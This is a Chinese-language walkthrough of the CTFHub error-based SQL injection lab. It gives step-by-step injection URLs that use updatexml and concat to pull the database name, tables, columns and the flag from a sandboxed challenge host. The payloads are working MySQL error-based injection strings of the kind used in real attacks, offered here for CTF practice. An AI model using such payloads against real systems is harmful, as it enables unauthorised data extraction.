CTFHUB——sql注入 报错注入

靶场地址:CTFHub

在做报错注入之前,我们首先需要了解报错注入的函数的使用

CTFHUB——sql注入 报错注入_第1张图片

我们打开靶场

CTFHUB——sql注入 报错注入_第2张图片

 尝试输入一个1 

CTFHUB——sql注入 报错注入_第3张图片

看到并没有显示结果,只有一个查询正确。那我们尝试在1后面加入一个单引号,输入1'

 CTFHUB——sql注入 报错注入_第4张图片

 这时候我们就看到显示查询错误的信息,并且告诉了我们错误点就是我们那个单引号

然后我们利用我们sql的函数

查询数据库

http://challenge-484b6a6eb9c5d36f.sandbox.ctfhub.com:10800/?id=1 union select updatexml(1,concat(0x7e,database(),0x7e),1); #

CTFHUB——sql注入 报错注入_第5张图片

查询表名

http://challenge-484b6a6eb9c5d36f.sandbox.ctfhub.com:10800/?id=1 union select updatexml(1,concat(0x7e,(select(group_concat(table_name))from information_schema.tables where table_schema="sqli"),0x7e),1); #

CTFHUB——sql注入 报错注入_第6张图片

查询列名

http://challenge-484b6a6eb9c5d36f.sandbox.ctfhub.com:10800/?id=1 union select updatexml(1,concat(0x7e, (select(group_concat(column_name))from information_schema.columns where table_name="flag") ,0x7e),1); #

 CTFHUB——sql注入 报错注入_第7张图片

 查内容flag

http://challenge-484b6a6eb9c5d36f.sandbox.ctfhub.com:10800/?id=1 union select updatexml(1,concat(0x7e, (select(group_concat(flag)) from sqli.flag) ,0x7e),1); #
http://challenge-484b6a6eb9c5d36f.sandbox.ctfhub.com:10800/?id=1 union select updatexml(1,concat(0x7e, right((select(group_concat(flag)) from sqli.flag) ,31),0x7e),1); #

CTFHUB——sql注入 报错注入_第8张图片

 CTFHUB——sql注入 报错注入_第9张图片

 将两段flag拼接,即可得到我们的flag

你可能感兴趣的:(CTFHUB,sql,数据库,database,web安全,mysql)